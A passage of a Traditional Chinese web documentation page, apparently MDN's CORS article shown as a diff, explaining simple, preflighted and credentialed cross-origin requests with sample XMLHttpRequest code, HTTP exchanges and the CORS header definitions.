+<p><a href="http://www.w3.org/TR/cors/">跨來源資源</a>共用<a href="http://www.w3.org/TR/cors/">標準</a>可用來開啟以下跨站 HTTP 請求：</p>
+
+<ul>
+ <li>使用 <code>XMLHttpRequest</code> 或 <code>Fetch API</code> 進行跨站請求，如前所述。</li>
+ <li>網頁字體（跨網域 CSS 的 <code>@font-face</code> 的字體用途），<a href="http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox">所以伺服器可以佈署 TrueType 字體，並限制只讓信任的網站跨站載入</a>。</li>
+ <li><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 紋理</a>。</li>
+ <li>以 <code><a href="/zh-TW/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code> 繪製到 Canvas 畫布上的圖形／影片之影格。</li>
+ <li>CSS 樣式表（讓 <a href="/zh-TW/docs/Web/CSS/CSSOM_View">CSSOM</a> 存取）。</li>
+ <li>指令碼（for unmuted exceptions）。</li>
+</ul>
+
+<p>本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。</p>
+
+<h2 id="功能總覽">功能總覽</h2>
+
+<p>跨來源資源共用標準的運作方式是藉由加入新的 <a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a>讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外，針對會造成副作用的 HTTP 請求方法（特別是 {{HTTPMethod("GET")}} 以外的 HTTP 方法，或搭配某些 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a> 的 {{HTTPMethod("POST")}} 方法），規範要求瀏覽器必須要請求傳送「預檢（preflight）」請求，以 HTTP 的 {{HTTPMethod("OPTIONS")}} 方法之請求從伺服器取得其支援的方法。當伺服器許可後，再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料（包括 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 和 HTTP 認證（Authentication）資料）一併隨請求送出。</p>
+
+<p>之後的小節，我們將討論使用情境和相關的 HTTP 標頭。</p>
+
+<h2 id="存取控制情境範例">存取控制情境範例</h2>
+
+<p>我們將在此展示三種情境，來說明跨來源資源共用如何運作。所有的範例都使用 {{domxref("XMLHttpRequest")}} 物件，<code>XMLHttpRequest</code> 可以讓任何支援的瀏覽器進行跨站請求。</p>
+
+<p>本節的 JavaScript 程式碼片段（以及處理跨站請求的伺服器端程式運作實體）可以在 <a class="external external-icon" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> 看到，並可以運行在支援跨站 {{domxref("XMLHttpRequest")}} 請求的瀏覽器上。</p>
+
+<p>對於伺服器端的跨來源資源共用討論（包含 PHP 範例）可參考<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">伺服器端存取控制</a>。</p>
+
+<h3 id="簡單請求">簡單請求</h3>
+
+<p>部分請求不會觸發 <a href="#Preflighted_requests">CORS 預檢</a>。這類請求在本文中被稱作「簡單請求（simple requests）」，雖然 {{SpecName('Fetch')}} 規範（其定義了 CORS）中並不使用這個述語。一個不觸發 <a href="#Preflighted_requests">CORS 預檢</a>的請求——所謂的「簡單請求（simple requests）」——其滿足以下所有條件：</p>
+
+<ul>
+ <li>僅允許下列 HTTP 方法：
+  <ul>
+   <li>{{HTTPMethod("GET")}}</li>
+   <li>{{HTTPMethod("HEAD")}}</li>
+   <li>{{HTTPMethod("POST")}}</li>
+  </ul>
+ </li>
+ <li>除了 user agent 自動設定的標頭（例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}}，或是<a href="https://fetch.spec.whatwg.org/#forbidden-header-name">任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」</a>中的標頭）之外，僅可手動設定<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」</a>的標頭，它們為：
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}}（但請注意下方的額外要求）</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li>僅允許以下 {{HTTPHeader("Content-Type")}} 標頭值：
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li>沒有事件監聽器被註冊到任何用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件（經由 {{domxref("XMLHttpRequest.upload")}} 屬性取得）上。</li>
+ <li>請求中沒有 {{domxref("ReadableStream")}} 物件被用於上傳。</li>
+</ul>
+
+<div class="note"><strong>備註：</strong>雖然這些都是網頁目前已經可以送出的跨站請求，但除非伺服器回傳適當標頭，否則不會有資料回傳，因此不允許跨站請求的網站無須擔心會受到新的 HTTP 存取控制影響。</div>
+
+<div class="note"><strong>備註：</strong>WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 就不會將該請求視為「簡單請求」。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>、<a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a> 和 <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。</div>
+
+<p>例如，假設 <code class="plain">http://foo.example</code> 網域上的網頁內容想要呼叫 <code class="plain">http://bar.other</code> 網域內的內容，以下程式碼可能會在 foo.example 上執行：</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>這將會在客戶端與伺服器端之間發起一個簡單的資料交換，並使用 CORS 相關標頭來處理權限：</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
+
+<p>我們來看看這個例子中瀏覽器將會送出什麼到伺服器，而伺服器又會如何回應：</p>
+
+<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 {{HTTPHeader("Origin")}} 標頭，它標示出請求是來自 <code class="plain">http://foo.example</code> 網域上的內容。</p>
+
+<p>第 13 - 22 行是 <code class="plain">http://bar.other</code> 網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭，從 {{HTTPHeader("Origin")}} 標頭與 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭中可以看到存取控制協定最簡單的用途。這個例子中，伺服器回傳 <code>Access-Control-Allow-Origin: *</code> 表示允許<strong>任何</strong>網域跨站存取資源，倘若 <code class="plain">http://bar.other</code> 的資源擁有者只准許來自 <code class="plain">http://foo.example</code> 的存取資源請求，那麼將會回傳：</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>如此一來，來源並非 <code class="plain">http://foo.example</code> 網域（由第 10 行請求標頭中的 ORIGIN 標頭確認）便無法以跨站的方式存取資源。<code>Access-Control-Allow-Origin</code> 標頭必須包含請求當中的 <code>Origin</code> 標頭值。</p>
+
+<h3 id="預檢請求">預檢請求</h3>
+
+<p>不同於上面討論「<a href="#簡單請求">簡單請求</a>」的例子，「預檢（preflighted）」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域，確認後續實際（actual）請求是否可安全送出，由於跨站請求可能會攜帶使用者資料，所以要先進行預檢請求。</p>
+
+<p>準確來說，如果滿足以下<strong>任一項條件</strong>時會發出預檢請求：</p>
+
+<ul>
+ <li><strong>假如</strong>請求方法為以下其中之一：
+
+  <ul>
+   <li>{{HTTPMethod("PUT")}}</li>
+   <li>{{HTTPMethod("DELETE")}}</li>
+   <li>{{HTTPMethod("CONNECT")}}</li>
+   <li>{{HTTPMethod("OPTIONS")}}</li>
+   <li>{{HTTPMethod("TRACE")}}</li>
+   <li>{{HTTPMethod("PATCH")}}</li>
+  </ul>
+ </li>
+ <li><strong>或是假如</strong>除了 user agent 自動設定的標頭（例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}}，或是<a href="https://fetch.spec.whatwg.org/#forbidden-header-name">任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」</a>中的標頭）之外，請求中包含了任何除了<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」</a>以外的標頭，具體如下：
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}}（但請注意下方的額外要求）</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li><strong>或是假如</strong> {{HTTPHeader("Content-Type")}} 標頭有除了下方所列出以外的值：
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li><strong>或是假如</strong>一或多個事件監聽器被註冊到一個用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件上。</li>
+ <li><strong>或是假如</strong>請求中有一個 {{domxref("ReadableStream")}} 物件被於上傳。</li>
+</ul>
+
+<div class="note"><strong>備註：</strong>WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 便會傳送預檢請求。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>、<a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a> 和 <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。</div>
+
+<p>下面是一段會引起預檢請求的範例：</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>在這個例子中，第 3 行建立了一段 XML 內容資料並於第 8 行使用 <code>POST</code> 請求送出。而在第 9 行，設定了一個自定義的（非標準）之 HTTP 請求標頭（<code>X-PINGOTHER: pingpong</code>）。此標頭並非 HTTP/1.1 通訊協定的一部分，但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 <code>application/xml</code>，且設定了自定義標頭，故此請求為預檢請求。</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p>
+
+<p>我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為<em>預檢請求／回應</em>：</p>
+
+<pre class="brush: none">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+</pre>
+
+<p>一旦預檢請求完成，真正的請求才會被送出：</p>
+
+<pre class="brush: none">POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+</pre>
+
+<p>第 1 - 12 行屬於 {{HTTPMethod("OPTIONS")}} 方法的預檢請求，瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求，好讓伺服器回應是否允許後續送出實際（actual）請求。OPTIONS 是一個 HTTP/1.1 方法，這個方法用來確認來自伺服器進一步的資訊，重複執行不會造成任何影響，為一{{Glossary("safe", "安全")}}方法，不會造成資源更動。除了 OPTIONS 方法，有另外兩個送出的請求標頭（分別在第 10 及 11 行）：</p>
+
+<pre class="brush: none">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+</pre>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 標頭會告訴伺服器之後送出的實際（actual）請求會是 <code>POST</code> 方法。{{HTTPHeader("Access-Control-Request-Headers")}} 標頭則是通知伺服器實際（actual）請求會帶有一個自定義的 <code>X-PINGOTHER</code> 標頭。在這些資訊下，接著伺服器將會確定是否接受請求。</p>
+
+<p>第 14 - 26 行屬於伺服器的回應，它說明了伺服器接受 <code>POST</code> 請求方法和 <code>X-PINGOTHER</code> 標頭。另外讓我們特別來看看 17 - 20 行：</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</pre>
+
+<p>伺服器回應中的 <code>Access-Control-Allow-Methods</code> 標頭表示伺服器可以接受 <code>POST</code>、<code>GET</code> 和 <code>OPTIONS</code> 方法。請注意此標頭和 {{HTTPHeader("Allow")}} 十分相似，但它只在存取控制範圍下才有意義。</p>
+
+<p>伺服器也回傳了 <code>Access-Control-Allow-Headers</code> 標頭及其值「<code>X-PINGOTHER, Content-Type</code>」，表示伺服器允許在實際（actual）請求中使用以上這兩個標頭。與 <code>Access-Control-Allow-Methods</code> 相同，<code>Access-Control-Allow-Headers</code> 也是用逗號分隔可接受的標頭名稱。</p>
+
+<p>最後，{{HTTPHeader("Access-Control-Max-Age")}} 提供了本次預檢請求回應所可以快取的秒數。在此範例中，86400 秒即為 24 小時。請留意每一個瀏覽器都有<a href="/zh-TW/docs/Web/HTTP/Headers/Access-Control-Max-Age">預設的最大值</a>，當 <code>Access-Control-Max-Age</code> 較預設值大時會優先採用預設值。</p>
+
+<h4 id="預檢請求和重新導向">預檢請求和重新導向</h4>
+
+<p>目前大多瀏覽器不支援預檢請求時的重新導向，如果預檢請求進行中發生重新導向，目前大多的瀏覽器會回報類似以下的錯誤訊息。</p>
+
+<blockquote>
+<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p>
+</blockquote>
+
+<blockquote>
+<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p>
+</blockquote>
+
+<p>CORS 通訊協定最初要求此預檢請求重新導向的行為，但<a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">在隨後的修訂中即改為不要求使用</a>。然而，大多數的瀏覽器尚未實作此變動，且仍舊依照原本的行為要求。</p>
+
+<p>因此直到瀏覽器趕上規範之前，你可以使用下列一或兩種方法來解決這個限制：</p>
+
+<ul>
+ <li>變更伺服器端的行為以避免預檢以及／或是避免重新導向——假如你對被請求的伺服擁有控制權</li>
+ <li>變更請求為<a href="zh-TW/docs/Web/HTTP/Access_control_CORS#Simple_requests">簡單請求</a>，讓預檢不會發生</li>
+</ul>
+
+<p>但若難以實施以上方法，仍有其他可行的方式：</p>
+
+<ol>
+ <li>建立一個<a href="#Simple_requests">簡單請求</a>來測定（使用 Fetch API 的 <a href="/zh-TW/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a> 來測定預檢請求最終真正導向的 URL）。</li>
+ <li>建立另一個請求（「真正的」請求）傳送至第一步自 <a href="/zh-TW/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a> 所獲得的 URL。</li>
+</ol>
+
+<p>然而，假如請求是由於存在 <code>Authorization</code> 標頭而觸發預檢，便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前，沒有其他方式能夠解決。</p>
+
+<h3 id="附帶身分驗證的請求">附帶身分驗證的請求</h3>
+
+<p>{{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/Fetch_API">Fetch</a> 在 CORS 中最有趣的功能為傳送基於 <a href="/zh-TW/docs/Web/HTTP/Cookies">HTTP cookies</a> 和 HTTP 認證（Authentication）資訊的「身分驗證（credentialed）」請求。預設情況下，在跨站 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/Fetch_API">Fetch</a> 呼叫時，瀏覽器<strong>不會</strong>送出身分驗證。必須要於 {{domxref("XMLHttpRequest")}} 物件中或是在呼叫 {{domxref("Request")}} 建構式時設置一個特定的旗標。</p>
+
+<p>在這個範例中，一個來自 <code class="plain">http://foo.example</code> 的內容發出了一個簡單的 GET 去請求一個 <code class="plain">http://bar.other</code> 的資源，且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript：</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>第 7 行秀出了一個於 {{domxref("XMLHttpRequest")}} 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——<code>withCredentials</code>。在預設情況下，請求呼叫是不會有 Cookies 的。由於這是一個簡單 <code>GET</code> 請求，並不會進行預檢，但瀏覽器將會<strong>拒絕</strong>任何沒有 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值的回應，並且<strong>不讓</strong>呼叫的網站內容存取該回應。</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
+
+<p>下面是一個簡單的客戶端與伺服器端之間的交換資訊：</p>
+
+<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>雖然第 11 行包含了預定要給予 <code class="plain">http://bar.other</code> 來取得資源內容的 Cookie，但假如 bar.other 沒有於回應中帶有 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值（第 19 行），則回應將會被乎略且不提供給網站內容使用。</p>
+
+<h4 id="身分驗證請求與萬用字元">身分驗證請求與萬用字元</h4>
+
+<p>在回應一個身分驗證請求時，伺服器<strong>必須</strong>於 <code>Access-Control-Allow-Origin</code> 標頭值中指定一個來源，而不是使用「<code>*</code>」萬用字元（wildcard）。</p>
+
+<p>上方範例的請求標頭中包含了一個 <code>Cookie</code> 標頭，若 <code>Access-Control-Allow-Origin</code> 標頭為「*」，則請求將會失敗。範例中的 <code>Access-Control-Allow-Origin</code> 標頭值為「<code class="plain">http://foo.example</code>」（一個實際的來源）而不是「*」萬用字元，所以身分驗證證明內容被回傳予呼叫的網站內容中。</p>
+
+<p>請注意上面範例中的 <code>Set-Cookie</code> 回應標頭也設定了另一個 cookie。萬一失敗，會拋出一個錯誤（取決於所使用的 API）。</p>
+
+<h4 id="第三方_cookies">第三方 cookies</h4>
+
+<p>請注意，在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中，頁面載入自 <code>foo.example</code>，但第 22 行的 cookie 為 <code>bar.other</code> 所傳送，因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies，則 cookies 不會被保存。</p>
+
+<h2 id="HTTP_回應標頭">HTTP 回應標頭</h2>
+
+<p>這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>一個回應的資源可能擁有一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭，如以下的語法：</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p><code>origin</code> 參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個<strong>不帶有</strong>身分驗證的請求，伺服器可以指定一個「*」作為萬用字元（wildcard），從而允許任何來源存取資源。</p>
+
+<p>舉例來說，要允許 http://mozilla.org 存取資源，你可以指定：</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre>
+
+<p>如果伺服器指定了一個來源主機而不是「*」，那也可能於不同回應的標頭中包含不同之來源，來向客戶端表示伺服器的回應會因請求標頭之 <code>Origin</code> 值而有所不同。</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 標頭表示伺服器允許瀏覽器存取回應標頭的白名單，如：</p>
+
+<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>這允許了瀏覽器能夠存取回應當中的 <code>X-My-Custom-Header</code> 以及 <code>X-Another-Custom-Header</code> 標頭。</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>{{HTTPHeader("Access-Control-Max-Age")}} 標頭表示了預檢請求的結果可以被快取多長的時間，請參考上面的範例。</p>
+
+<pre class="brush: none">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p><code>delta-seconds</code> 參數代表預檢請求之結果可以被快取的秒數。</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭表示了當請求的 <code>credentials</code> 旗標為真時，是否要回應該請求。當用在預檢請求的回應中，那就是指示後續的實際請求可否附帶身分驗證。請注意，由於簡單的 <code>GET</code> 請求沒有預檢，所以如果一個簡單請求帶有身分驗證，同時假設此標頭沒有與資源一併回傳，則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。</p>
+
+<pre class="brush: none">Access-Control-Allow-Credentials: true
+</pre>
+
+<p><a class="internal" href="#Requests_with_credentials">驗證請求</a>在上面的討論當中。</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 標頭表示存取資源所允許的方法，用來回應預檢請求。上面已討論請求之預檢的條件。</p>
+
+<pre class="brush: none">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>一個<a class="internal" href="#Preflighted_requests">預檢請求的範例已在上面提供</a>，其中包含了一個回傳此標頭予瀏覽器的例子。</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭用在回傳予預檢請求的回應當中，以指定哪些 HTTP 標頭可以於實際請求中使用。</p>
+
+<pre class="brush: none">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="HTTP_請求標頭">HTTP 請求標頭</h2>
+
+<p>這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定，開發者使用跨站 {{domxref("XMLHttpRequest")}} 時則不須於程式中設定任何的跨來源資源共用請求標頭。</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>{{HTTPHeader("Origin")}} 標頭表示了跨站存取請求或預檢請求的來源。</p>
+
+<pre class="brush: none">Origin: &lt;origin&gt;
+</pre>
+
+<p>其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊，僅有伺服器名稱。</p>
+
+<div class="note"><strong>備註：</strong><code>origin</code> 標頭可設定為空字串；這對不是真實位置的情況來說相當有用，例如來源為一個 <code>data</code> URL 時。</div>
+
